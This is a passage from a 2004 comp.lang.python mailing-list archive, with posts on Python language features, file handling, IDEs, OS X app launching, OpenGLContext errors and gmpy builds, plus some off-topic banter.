be displayed as part of the stack trace.

Assignments to __debug__ are illegal. The value for the built-in
variable is determined when the interpreter starts.

----

...which implies other uses for __debug__, I think, which might fit your
needs.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From timr at probo.com  Wed Sep 22 02:56:20 2004
From: timr at probo.com (Tim Roberts)
Date: Tue, 21 Sep 2004 23:56:20 -0700
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<slrnckv2np.2gu.davecook@localhost.localdomain>
Message-ID: <p182l09cvj94ar6dfno714c0gh6hmsf6hm@4ax.com>

Dave Cook <davecook at nowhere.net> wrote:
>
>julio wrote:
>
>>   Sorry but there is no another way, c# .net and mono are going to rip
>> python, not because python is a bad lenguage, but because is to darn old
>
>I don't really get the connection between the two.  C# is a very different
>type of language, with a different market.

I have to say that I disagree.  Both are interpreted to an intermediate
language.  Both have a substantial built-in library.  Both are strongly
oriented towards network applications.  They are different, sure, but they
are not "very different", in the same way that Python and C++ are "very
different".

>And I still don't understand the "why" of mono.

Really?  It seems quite clear to me.  With Microsoft's considerable weight
behind it, for better or for worse, there are going to be a lot of .NET
managed applications built in the near future.  Thanks to Mono, all of
those application BINARIES will run on Linux.  Mono provides better support
immediately than what WINE provides after more than a decade.

I don't agree with the original poster, and we'll have to wait to see how
it all plays out, but the fact is that C# and the Common Language Runtime
really are a fundamentally good idea.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From cgibbs at kltpzyxm.invalid  Tue Sep  7 16:45:06 2004
From: cgibbs at kltpzyxm.invalid (Charlie Gibbs)
Date: 07 Sep 04 12:45:06 -0800
Subject: Xah Lee's Unixism
References: <41376B82.C6A202FC@yahoo.com> <kg08hc.bgc1.ln@via.reistad.priv.no>
	<41386155$0$19713$61fed72c@news.rcn.com>
	<2prna6Fnrv5rU1@uni-berlin.de>
	<20040904073342.5da8c563.steveo@eircom.net>
	<tqm4qmadohr.fsf@drizzle.com>
Message-ID: <764.746T316T7654137@kltpzyxm.invalid>

In article <tqm4qmadohr.fsf at drizzle.com>, kkt at drizzle.com
(Patrick Scheible) writes:

>Steve O'Hara-Smith <steveo at eircom.net> writes:
>
>>      There are stone stairs in my old school and in many college
>> buildings that have deep curves worn into them by feet over a
>> century or three.
>
>Heh.  There are marble stairs with deep wear in them in the main
>library at my school... only that particular building was only built
>in 1925 or thereabouts.

Another damned contractor swapping in substandard materials...

--
/~\  cgibbs at kltpzyxm.invalid (Charlie Gibbs)
\ /  I'm really at ac.dekanfrus if you read it the right way.
 X   Top-posted messages will probably be ignored.  See RFC1855.
/ \  HTML will DEFINITELY be ignored.  Join the ASCII ribbon campaign!



From aleaxit at yahoo.com  Sat Sep  4 05:00:32 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:32 +0200
Subject: using generators for event handling in python.
References: <mailman.2777.1094146412.5135.python-list@python.org>
	<2eMZc.1265$ZS6.396@trndny07>
	<mailman.2791.1094165189.5135.python-list@python.org>
Message-ID: <1gjk2su.1nnhozzfmokg4N%aleaxit@yahoo.com>

Robin Bryce <robin at wiretooth.com> wrote:

> Thanks, I don't have a compact version. I could remove the fork feature
> but I think this is pretty crucial. And I could strip the comments out.
> I definitely need to rethink the examples. I don't think any of that
> really helps express the essence though. Let me see what I can do to
> boil out the bloat.
> 
> I've updated the link in the original post to point at a page that
> tracks the changes.
> 
> Thankyou very much for responding !

Raymond's response is right on target (as usual).  The point is that
recipes are mostly meant as concise snippets illustrating ideas -- only
a few (say 10-15 or so, tops) of the 200+ recipes that end up in the
printed cookbook can be "modules", big chunks intended to use as such
rather than as illustrations, and they must be ones that solve key
everyday problems... of which "generators for event handling" isn't one
(examples from the 1st edition include strptime -- important enough that
it ended up in the standard library soon after the book got out!-).

Very short comments and docstrings are preferred -- the info must of
course be there, but it's intended to go in the Discussion section,
while the code of the Solution section is meant to be read mostly as
code, going to the Discussion for text.  Few people post recipes in that
way, which means we coeditors (me, David Ascher, and my wife Anna) must
do a lot of editing (so we end up biased strongly in favour of those few
recipes posted in such a way as to require less editing!-).

Do keep in mind that the deadline for 2.3-based submissions is tomorrow,
Saturday (actually this post of mine will leave on Sat -- right now I'm
without net connection...) -- then, on Sunday, Monday at the latest,
we'll take a snapshot, and only recipes that are in it will be
considered for dead-tree publication in the 2nd edition (if your recipe
is 2.4 specific the deadline is 3 weeks longer AND more likely to get in
-- we do have good coverage of most of 2.4's _language_ novelties, but
not of many of the enhancements to the standard library... the 2nd
edition will cover 2.3 and 2.4, for 2.2 and older versions people should
still refer to the 1st editiion, so good 2.4 coverage is important even
though the 2.4 release is still alpha...!)

Anyway, whatever you have (unless 2.4-specific), post it NOW or it
definitely won't get into the 2nd printed edition.  If you post now you
can edit later...  (of course, no guarantees: we have 1000+ recipes to
choose from, and can only choose the 200 or so best ones, so we WILL be
extremely selective -- much more so than in the 1st edition, when the
same number of published recipes were selected from a vastly smaller
number of posted recipes... this will presumably result in higher
quality for the 2nd edition, but also in inevitable disappointment among
authors whose recipes are _not_ selected... one tip from the horse's
mouth: if you can post a key snippet, sensibly, as a comment to a good
existing recipe, your chance of getting author credit and a free copy
zoom up -- authors of significant comments that we use in the printed
version DO get credit and a complimentary copy of the book...!!!... but
deadlines for such comments are just the same as for recipes -- tomorrow
for 2.3 stuff, 3 weeks for 2.4-specific stuff...).


Alex


From aleaxit at yahoo.com  Thu Sep 23 02:59:09 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 08:59:09 +0200
Subject: How to count lines in a text file ?
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<414eda06$0$26379$ba624c82@nntp02.dk.telia.net>
	<1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com>
	<cisei2$ltn$0$216.39.172.122@theriver.com>
	<9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net>
	<1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com>
	<Agn4d.7348$gG4.4198@newsread1.news.pas.earthlink.net>
Message-ID: <1gkk60l.18a3mpc8xck0N%aleaxit@yahoo.com>

Andrew Dalke <adalke at mindspring.com> wrote:

> Alex Martelli wrote:
> > ....and wc would then not count that non-line as a line, so why should
> > we...?  Witness...:
> 
>    'Cause that's what Python does.  Witness:

If you tell it to count non-lines too (pieces that don't end with an
endline marker), it does, of course:

> % echo -n 'bu' | python -c \
> ?       'import sys; print len(sys.stdin.readlines())'
> 1

But that's just because you told it to.

To reproduce wc's behavior, you have to exclude non-lines -- use
len([ l for l in sys.stdin if l.endswith('\n') ]) for example.  Or, the
simpler .count('\n') approach.

I suspect somebody who asks the subject question wants to reproduce wc's
counting behavior.  Of course, it _is_ an imprecise spec they're giving.


Alex


From danb_83 at yahoo.com  Mon Sep 20 06:02:25 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 20 Sep 2004 03:02:25 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>	<mailman.3490.1095579571.5135.python-list@python.org>	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<ad052e5c.0409191424.2aab5bb4@posting.google.com>
	<cilbv7$sh7$0$216.39.172.122@theriver.com>
Message-ID: <ad052e5c.0409200202.3d6f221d@posting.google.com>

bokr at oz.net (Bengt Richter) wrote in message news:<cilbv7$sh7$0$216.39.172.122 at theriver.com>...
> On 19 Sep 2004 15:24:31 -0700, danb_83 at yahoo.com (Dan Bishop) wrote:
> [...]
> >There are, of course, reasonably accurate rational approximations of
> >pi.  For example, 355/113 (accurate to 6 decimal places), 312689/99532
> >(9 decimal places), or 3126535/995207 (11 decimal places).  Also, the
> >IEEE 754 double-precision representation of pi is equal to the
> >rational number 4503599627370496/281474976710656.
>       >>> divmod(4503599627370496,281474976710656)
>       (16L, 0L)
> 
> a little glitch somewhere ? ;-)

Oops.  I meant 884279719003555/281474976710656.


From tundra at tundraware.com  Wed Sep  1 17:49:18 2004
From: tundra at tundraware.com (Tim Daneliuk)
Date: 01 Sep 2004 17:49:18 EDT
Subject: ANN: YAPDL
Message-ID: <2osh02-e6i1.ln1@eskimo.tundraware.com>

                  TundraWare Inc. Press Announcement
                       For Immediate Release
                       ---------------------

Announcing:  Yet Another Python Derived Language (YAPDL)
---------------------------------------------------------

Since it has been almost a whole week since someone has proposed
another "Python Like" language, TundraWare Inc. is pleased to do
its part in announcing its very serious intention to consider the
possibility of perhaps, maybe, someday, creating and releasing
"Yet Another Python Derived Language" (YAPDL).

Major YAPDL Benefits Include:

- Very similar to Python in most ways, but with a strong emphasis
   on obscure academic purist notions that no one really cares about.

- A vehicle for promoting interminable length discussions about
   said obscure notions on Internet newsgroups and IRC chatrooms.

- A means of chasing Microsoft's .NET flavor-of-the-moment
   thereby further increasing the complexity of an already
   out-of-control development environment.

- An opportunity for third-parties to spend inordinate amounts
   of time and effort to retrofit the Python library onto YAPDL.

- A springboard for the further dead-horse-beatings of:

       a) Microsoft The Evil Empire
       b) What I miss about LISP/Haskel/Oberon/Assembler
       c) Why we need explicit block delimiters

- A mechanism for further diluting the mindshare and resources
   available to improve, use, and promote, Python itself.


TundraWare Inc.'s President, Tim Daneliuk, is quoted as saying,

     Contrary to some of the rumblings we've already heard, the
     YAPDL project was not commissioned or funded by Sun as a
     stealth JAVA promotion activity.  We at TundraWare have taken
     this upon ourselves to insure that the Python community remains
     fractionalized, confusing, and intimidating to our corporate
     clients, thereby improving our chances of getting more billable
     hours.

For more information, please contact the TundraWare Inc.
press liaison:

     U.R. Kidding-Me
     blackhole at tundraware.com






Old-And-Grumpy-ly Yours,
----------------------------------------------------------------------------
Tim Daneliuk     tundra at tundraware.com
PGP Key:         http://www.tundraware.com/PGP/



From ksenia at ksenia.nl  Fri Sep 24 15:07:33 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Fri, 24 Sep 2004 21:07:33 +0200
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
 project.
In-Reply-To: <10l8ndokeuub5f2@corp.supernews.com>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
	<mailman.3830.1095998544.5135.python-list@python.org>
	<1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com>
	<10l8ndokeuub5f2@corp.supernews.com>
Message-ID: <FD86680C-0E5C-11D9-9813-000A957911BC@ksenia.nl>

> Ah, but there's plenty of thought about neocon ties to Israel (and the 
> hard-line Zionist movement(s) there, in particular) and related 
> (rumored) connections to extreme Millenial religious groups who'd be 
> happy to see the arrival of Armageddon (and thus the Second Coming)...

Hey, this is just the right date for this discussion :)

Greetings from unusuall-still-because-it's-Yom-Kippur Tel-Aviv,

Ksenia. 



From adalke at mindspring.com  Sun Sep  5 17:37:07 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 05 Sep 2004 21:37:07 GMT
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <mailman.2905.1094405220.5135.python-list@python.org>
References: <opsdq5katd35jo5o@news.gmane.org>	<864d370904090306333b53ef56@mail.gmail.com>	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>	<mailman.2838.1094223946.5135.python-list@python.org>	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>	<864d370904090413356356d84d@mail.gmail.com>
	<mailman.2905.1094405220.5135.python-list@python.org>
Message-ID: <7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net>

Alex Martelli wrote:
> Or, vastly better IMHO, one could equivalently code.
> 
> reversed_list = list(reversed(mylist))
> 
> I don't understand why some people want to use list comprehensions 
> instead of simple calls to list().

As for me, it's because until recently with generators
I very rarely used list() while I frequently use list
comprehensions.  When I think "I need a list" I therefore
am more prone to remember comprehensions first.

With generators becoming more common it's been easier
for me to remember that list() is the appropriate solution.


   "There should be one -- and preferably only one --
      obvious way to do it."

Does that suggest that we should have had list() +
generator comprehensions and not have list comprehensions?

				Andrew
				dalke at dalkescientific.com




From greg at cosc.canterbury.ac.nz  Wed Sep 29 01:45:15 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 29 Sep 2004 17:45:15 +1200
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"project.
In-Reply-To: <du7u0tk4vk8.fsf@mozart.cc.tut.fi>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
	<enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com>
	<du7d60bbhah.fsf@amadeus.cc.tut.fi>
	<10l90qcihqrjba1@corp.supernews.com>
	<du78yayby1a.fsf@mozart.cc.tut.fi> <cj4ul0$nt5$1@sea.gmane.org>
	<mailman.3916.1096160356.5135.python-list@python.org>
	<du7u0tk4vk8.fsf@mozart.cc.tut.fi>
Message-ID: <2rv0fhF1dn44qU1@uni-berlin.de>

Ville Vainio wrote:
> Still, I'm
> delighted to see anti-deterministic theories being debunked also in
> the scientific circles.

The word isn't "debunked", it's "refined". When Einstein
came up with relativity, Newtonian mechanics didn't
suddenly become "bunk". On the contrary, it remains a
very successful theory within its domain of applicability
and is still very much used. The same will likely be
true of current quantum theories vs. anything that comes
up in the future.

> Scientists are perhaps a bit too eager to think that they are
> beginning to understand ultimate reality when they just have some new
> theories that support their empiric data.

But scientists don't usually claim to understand any
such thing. Generally they're well aware that their
theories are no more than "current best knowledge".

They may not *say* that very often in so many words,
but that's only because to them it's something that's
self-evident and doesn't need saying.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From nicksjacobson at yahoo.com  Fri Sep 10 07:44:23 2004
From: nicksjacobson at yahoo.com (Nick Jacobson)
Date: 10 Sep 2004 04:44:23 -0700
Subject: A bug with file.tell()?
References: <f8097096.0409092043.3760d72a@posting.google.com>
Message-ID: <f8097096.0409100344.2594797b@posting.google.com>

It gets weirder:

I added the second fp.read(3) statement below.  And that statement
doesn't print anything out!  It (fp.read(3)) thinks it's at the end of
the file, while the next statement "for line in fp" thinks it's not
(and reads "asdf")!

Now I'm definitely confused.



fp = file("testcrlf.txt")
#read in some of the file:

print fp.read(3)
for line in fp:
    if line == "blah3\n":
        break
fpos = fp.tell() #save the current position...

print fp.read(3)
for line in fp:
    print line #prints "asdf", so it wasn't at the end of the file

fp.seek(fpos) #rewind?
for line in fp:
    print line #prints nothing, because it's at the end of the file!


From physics_seeker at yahoo.com  Sat Sep 25 13:35:12 2004
From: physics_seeker at yahoo.com (PhysicsGenius)
Date: Sat, 25 Sep 2004 17:35:12 GMT
Subject: Clickable (wx)python app in OS X
In-Reply-To: <41558086$0$42259$ed2e19e4@ptn-nntp-reader04.plus.net>
References: <26658f61.0409250605.32f18ba2@posting.google.com>
	<41558086$0$42259$ed2e19e4@ptn-nntp-reader04.plus.net>
Message-ID: <k%h5d.193$XC.190@trndny08>

Chris McD wrote:
> PhysicsGenius wrote:
> 
>> AAAAARRRRRRRRGGHGHGHGHGHGHGHGHGH!!!!!!  I hate Macs.
>>
>> I have a wxPython program.  It runs fine on OS X when I launch it from
>> the Terminal ("pythonw appname.py") .  The user wants to be able to
>> click it.  Two main suggestions on the Internet, neither of which
>> works:
>>
>> 1) "Use Platypus"  So I download it, upgrade Stuffit, install both,
>> figure out how to use it, create an app....and it doesn't work for
>> graphical apps.  Nice to know, thanks for telling me ahead of time!
>>
>> 2) "Just associate .py files with PythonInterpreter".  Sounds easy! So 
>> I navigate to appname.py, Get Info, Open With, navigate to
>> PythonInterpreter....WhereTF is "PythonInterpreter"?  Not on the OS X
>> system anywhere and Google only finds a Python module.
>>
>> So, how do I create a clickable icon that will launch my wxPython
>> program?
> 
> 
> Well you are opening it with pythonw so why not associate *.py  with 
> pythonw or python?
> 
> Chris

I was pretty sure this was impossible, but I may 
have done it.  For anyone else as frustrated as I 
was (and still am, kinda): I associated .py with 
/System/Library/Frameworks/Python.framework/Resources/PythonLauncher. 
  It still brings up a Terminal window, but at 
least the app launches from a click.

Mac OS X: It Just Works (poorly)


From nytimes at swiftdsl.com.au  Fri Sep 17 07:43:04 2004
From: nytimes at swiftdsl.com.au (huy)
Date: Fri, 17 Sep 2004 21:43:04 +1000
Subject: Python Webstart ? 
Message-ID: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>

Hi,

Just wondering if there were any plans (or existing projects) similar to 
Java webstart for Python. I think this would be a boon for python. I 
would love to start my new project using Python but the deployment (and 
long term upgrading) factor is a major itch which pyfreeze and py2exe 
just doesn't scratch properly.

Thanks

Huy


From frithiof.jensen at die_spammer_die.ericsson.com  Tue Sep 14 06:20:24 2004
From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen)
Date: Tue, 14 Sep 2004 12:20:24 +0200
Subject: Ranting about the state of Python IDEs for Windows
References: <mailman.3261.1095106220.5135.python-list@python.org>
Message-ID: <ci6gfh$9o8$1@newstree.wise.edt.ericsson.se>


"Carlos Ribeiro" <carribeiro at gmail.com> wrote in message
news:mailman.3261.1095106220.5135.python-list at python.org...

> The only partial exception so far is Boa Constructor. Riaan is
> responsive, and there is a lot of things implemented. However, it's
> far from perfect. It's heavy, takes a long time to load ...

That's because your PC suck!

On top of that, Windows 98 SE sucks even more, being possibly the worst
aggregation of misfeatures to be built ontop of the already shaky dos-based
Windows lineage!!

The real problem is that nobody is likely to help you much because the
developers themselves have moved on to bigger and better platforms;

Clever IDE's *need* ample memory and CPU to draw all the pretty pictures and
generate all that code on-the-fly, the developers usually have all that in
abundance, so it is not likely that anyone designing IDE's will really
*care* enough to do any testing on Win 98 in a memory starved environment!!

I would bite it and Upgrade:

Windows XP is a decent enough OS, IMO, and a bottom-of-the-range PC - which
is a 1 GHz Athlon with 256 MB RAM, Geforce 2 graphics and 40 GB HDD - can
often be had at less than USD 200. An entirely different stratosfere, from
what you are used to - and I bet some of the stability problems with many of
the IDEs' will disappear too.




From DesertLinux at netscape.net  Tue Sep 14 11:07:39 2004
From: DesertLinux at netscape.net (Byron)
Date: Tue, 14 Sep 2004 15:07:39 GMT
Subject: Using Python instead of DOS shell scripts
In-Reply-To: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com>
References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com>
Message-ID: <%OD1d.120$gG4.70@newsread1.news.pas.earthlink.net>

Hi Jeff,

Welcome to Python programming!

If you want to learn Python quickly and easily, I would HIGHLY recommend 
that you check out "How to think like a computer scientist: Learning 
with Python."  It is a free, downloadable book that teaches Python from 
the ground up.  It also contains many fun, step-by-step examples for the 
beginner to try out -- along with an object-oriented approach later in 
the book.

Check it out:

http://www.greenteapress.com/thinkpython/

Byron
---



Jeff Wagner wrote:
> I have a project of converting numerous DOS cmd shell scripts to Python. Is there a tutorial to
> getting started?
> 
> Thanks, Jeff


From luismg at gmx.net  Tue Sep 28 22:44:47 2004
From: luismg at gmx.net (Neuruss)
Date: 28 Sep 2004 19:44:47 -0700
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
Message-ID: <278de0e.0409281844.7668cbca@posting.google.com>

I?ve got a program that already does what you want.
I don't remember the author, I got it somewhere on the net, but it
works great. It's in spanish but you'll get the idea...

def unidades(x):
    if x == 0:
        unidad = "cero"
    if x == 1:
        unidad = "un"
    if x == 2:
        unidad = "dos"
    if x == 3:
        unidad = "tres"
    if x == 4:
        unidad = "cuatro"
    if x == 5:
        unidad = "cinco"
    if x == 6:
        unidad = "seis"
    if x == 7:
        unidad = "siete"
    if x == 8:
        unidad = "ocho"
    if x == 9:
        unidad = "nueve"
    return unidad

def teens(x):
    if x == 0:
        teenname = "diez"
    if x == 1:
        teenname = "once"
    if x == 2:
        teenname = "doce"
    if x == 3:
        teenname = "trece"
    if x == 4:
        teenname = "catorce"
    if x == 5:
        teenname = "quince"
    return teenname


def tens(x):
    if x == 1:
        tensname = "diez"
    if x == 2:
        tensname = "veinte"
    if x == 3:
        tensname = "treinta"
    if x == 4:
        tensname = "cuarenta"
    if x == 5:
        tensname = "cincuenta"
    if x == 6:
        tensname = "sesenta"
    if x == 7:
        tensname = "setenta"
    if x == 8:
        tensname = "ochenta"
    if x == 9:
        tensname = "noventa"
    return tensname

def tercia(num):
    numero=str(num)
    if len(numero) == 1:
        numero='00'+numero
    if len(numero) == 2:
        numero='0'+numero
    a=int(numero[0])
    b=int(numero[1])
    c=int(numero[2])
#       print a, b, c
    if a == 0:
        if b == 0:
            resultado=unidades(c)
            return resultado
        elif b == 1:
            if c >= 0 and c <= 5:
                resultado = teens(c)
                return resultado
            elif c >= 6 and c <= 9:
                resultado = tens(b)+' y '+unidades(c)
                return resultado
        elif b == 2:
            if c == 0:
                resultado = 'veinte'
                return resultado
            elif c > 0 and c <= 9:
                resultado ='veinti '+unidades(c)
                return resultado
        elif b >=3 and b <= 9:
            if c == 0:
                resultado = tens(b)
                return resultado
            if c >= 1 and c <= 9:
                resultado = tens(b)+' y '+unidades(c)
                return resultado
    if a == 1:
        if b == 0:
            if c == 0:
                resultado = 'cien'
                return resultado
            elif c > 0 and c <= 9:
                resultado ='ciento '+unidades(c)
                return resultado
        elif  b == 1:
            if c >= 0 and c <= 5:
                resultado = 'ciento '+teens(c)
                return resultado
            elif c >= 6 and c <= 9:
                resultado = 'ciento '+tens(b)+' y '+unidades(c)
                return resultado
        elif b == 2:
            if c == 0:
                resultado = 'ciento veinte'
                return resultado
            elif c > 0 and c <= 9:
                resultado ='ciento veinti '+unidades(c)
                return resultado
        elif b >= 3 and b <= 9:
            if c == 0:
                resultado = 'ciento '+tens(b)
                return resultado
            elif c > 0 and c <= 9:
                resultado = 'ciento '+tens(b)+ ' y '+unidades(c
)
                return resultado

    elif a >= 2 and a <= 9:
        if a == 5:
            prefix='quinientos '
        elif a == 7:
            prefix='setecientos '
        elif a == 9:
            prefix='novecientos '
        else:
            prefix=unidades(a)+' cientos '
        if b == 0:
            if c == 0:
                resultado = prefix
                return resultado
            elif c > 0 and c <= 9:
                resultado = prefix+unidades(c)
                return resultado
        elif b == 1:
            if c >= 0 and c <= 5:
                resultado = prefix+teens(c)
                return resultado
            elif c >= 6 and c <= 9:
                resultado = prefix+tens(b)+' y '+unidades(c)
                return resultado
        elif b == 2:
            if c == 0:
                resultado = prefix+' veinte'
                return resultado
            elif c > 0 and c <= 9:
                resultado = prefix+' veinti '+unidades(c)
                return resultado
        elif b >= 3 and b <= 9:
            if c == 0:
                resultado = prefix+tens(b)
                return resultado
            elif c > 0 and c <= 9:
                resultado = prefix+tens(b)+' y '+unidades(c)
                return resultado
def main(num):
    result=''
    numero=str(num)
    if len(numero) == 1:
        numero='00000000'+numero
    if len(numero) == 2:
        numero='0000000'+numero
    if len(numero) == 3:
        numero='000000'+numero
    if len(numero) == 4:
        numero='00000'+numero
    if len(numero) == 5:
        numero='0000'+numero
    if len(numero) == 6:
        numero='000'+numero
    if len(numero) == 7:
        numero='00'+numero
    if len(numero) == 8:
        numero='0'+numero
    posicion=1
    for i in [0,3,6]:
        var=numero[i]+numero[i+1]+numero[i+2]
        if int(var) != 0:
            res=tercia(var)
            if i == 0:
                result=res+" millones "
            elif i == 3:
                result=result+res+" mil "
            elif i == 6:
                result=result+res
    return result


From proto at panix.com  Fri Sep 17 00:19:24 2004
From: proto at panix.com (Walter Bushell)
Date: Fri, 17 Sep 2004 00:19:24 -0400
Subject: Xah Lee's Unixism
References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<tqmisaoiuc6.fsf@drizzle.com>
Message-ID: <proto-49B8AF.00192417092004@reader1.panix.com>

In article <tqmisaoiuc6.fsf at drizzle.com>,
 Patrick Scheible <kkt at drizzle.com> wrote:

> jmfbahciv at aol.com writes:
> 
> > It's apparently having the desired effect.  The subject of
> > the radio talk show last night was about the results of a poll
> > where 41% of the people asked (New York state residents) believed 
> > that Bush and Co. knew that the WTC was going to be attacked and 
> > did nothing to prevent it.
> 
> They can have a nice chat with the 40-some-odd percent of the people
> who think Saddam was working with al-Qaida...
> 
> -- Patrick

Does this come before or after the debate between the born again 
evangelicals and the Hari Krisnas?

-- 
Guns don't kill people; automobiles kill people.


From a at a.invalid  Wed Sep 15 11:53:18 2004
From: a at a.invalid (Timo Virkkala)
Date: Wed, 15 Sep 2004 15:53:18 GMT
Subject: The pythonic approach
In-Reply-To: <VvudnZA1tsc0r9XcRVn-uw@powergate.ca>
References: <414656ab$0$4777$a729d347@news.telepac.pt>
	<0dS1d.52$AA4.38@read3.inet.fi>
	<VvudnZA1tsc0r9XcRVn-uw@powergate.ca>
Message-ID: <OzZ1d.224$AA4.211@read3.inet.fi>

Peter Hansen wrote:
> Timo Virkkala wrote:
> 
>> def thisReallyWorks(x):
>>     if x == "6$":
>>         return "$10 000"
>>     else:
>>         return x
>>
>> # or maybe
>>
>> investments = {"6$": "$10 000"}
>> def thisReallyWorks(x):
>>     return investments.get(x, x)
> 
> I really hope this is a contrived example, because if
> I ever saw something like this in real code I'd barf.
[snip]

It was, very contrived. I just like writing (wannabe) funny replies to 
spams... :) The idea in the second one was to be extensible. Yes, the dict 
should be defined elsewhere, and yes, inline .get is (usually) better than 
hiding it in a function.

Maybe I should just write real code and not bother with nonsense :)

-- 
Timo "WT" Virkkala

   "In the battle between you and the world, bet on the world."


From druid at vergesystems.com  Fri Sep 10 18:29:40 2004
From: druid at vergesystems.com (druidEternal)
Date: Fri, 10 Sep 2004 15:29:40 -0700
Subject: OpenGLContext problems
Message-ID: <08ednZC7zYIgt9_cRVn-pw@comcast.com>

Greetings all,

New to graphics programming, and new to Python, but PyOpenGL looked like a
good way to get my feet wet.

Installed Python 2.2.3 on my XP machine, then installed PyOpenGL and
OpenGLContext (with all the dependencies listed on
http://pyopengl.sourceforge.net/documentation/installation.html), have been 
playing
with the sample scripts in the 'tests' directory and the  NeHe Tutorial 
Translations,
but every time I try to run any of the scripts, I run into a page of 
warnings:

-----
Warning: redefining field-type MFVec4f from <class 
'vrml.fieldtypes.MFVec4fEvt'> to <class 
'OpenGLContext.vrml.fieldtypes.MFVec4fEvt'>
-----

and the traceback:
-----
Traceback (most recent call last):
  File "nehe6.py", line 144, in ?
    MainFunction ( TestContext)
  File "C:\Python23\Lib\site-packages\OpenGLContext\gluttestingcontext.py", 
line
 18, in main
    render = TestContext()
  File "C:\Python23\Lib\site-packages\OpenGLContext\glutcontext.py", line 
26, in
 __init__
    Context.__init__ (self)
  File "C:\Python23\Lib\site-packages\OpenGLContext\context.py", line 155, 
in __
init__
    self.setupFrameRateCounter()
  File "C:\Python23\Lib\site-packages\OpenGLContext\context.py", line 245, 
in se
tupFrameRateCounter
    from OpenGLContext import framecounter
  File "C:\Python23\Lib\site-packages\OpenGLContext\framecounter.py", line 
4, in
 ?
    class FrameCounter( node.Node ):
  File "C:\Python23\Lib\site-packages\OpenGLContext\framecounter.py", line 
11, i
n FrameCounter
    count = field.newField( 'count', 'SFInt32', 1, 0)
  File "C:\Python23\lib\site-packages\OpenGLContext\vrml\field.py", line 47, 
in
newField
    dataType = baseFieldTypes[dataType]
KeyError: 'SFInt32'
-----

Has anyone run into this before? Am I missing dependencies yet? I'm
loving Python so far, and I'd really like to make this work! Any help
appreciated...

thanks 




From aleaxit at yahoo.com  Wed Sep  1 05:15:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 11:15:29 +0200
Subject: about presicion
References: <ch29dr$25h@odah37.prod.google.com>
Message-ID: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com>

mensanator at aol.com <mensanator at aol.com> wrote:
   ...
> > > > > I just tried it and found out it's not compatible with gmpy.
   ...
> What I meant was the OP can't compare Decimal and gmpy unless he has
> a version of gmpy that runs in 2.4. Or has a version of Decimal that
> runs in 2.3.

Or both 2.3 and 2.4 installed (they coexist).

> I didn't mean it wasn't compatible. I meant you can't use the

Sorry, I read "it's not compatible" as meaning what it says!-)

> 2.3 version of gmpy in the 2.4 alpha that's currently available,

Not the pre-built version, no.

> so I can't experiment with 2.4 because all my interesting programs
> are dependant on gmpy. Not everyone is a professional software
> developer, some of us ignorant users need to be told that.

I'm not sure what being a professional has to do with it -- it's more an
issue of being or not familiar with the specific issues of C-coded
Python extension on Windows.

> > Unfortunately, compiling any binary extension module on Windows for
> > Python 2.4 requires Microsoft's very latest C++ compiler -- I do not
   ...
> How feasible is it that the end user could compile it himself?

As long as the end user has a correctly installed and compatible
compiler, running "python setup.py install" in the directory where the
gmpy sources have been unpacked (and running it with the version of
Python one wants to build for) is all it takes, so I would say
"perfectly feasible".

> Would the command line c compiler from the MS SDK suffice or do you
> have to purchase the full .NET package? Would the source files need
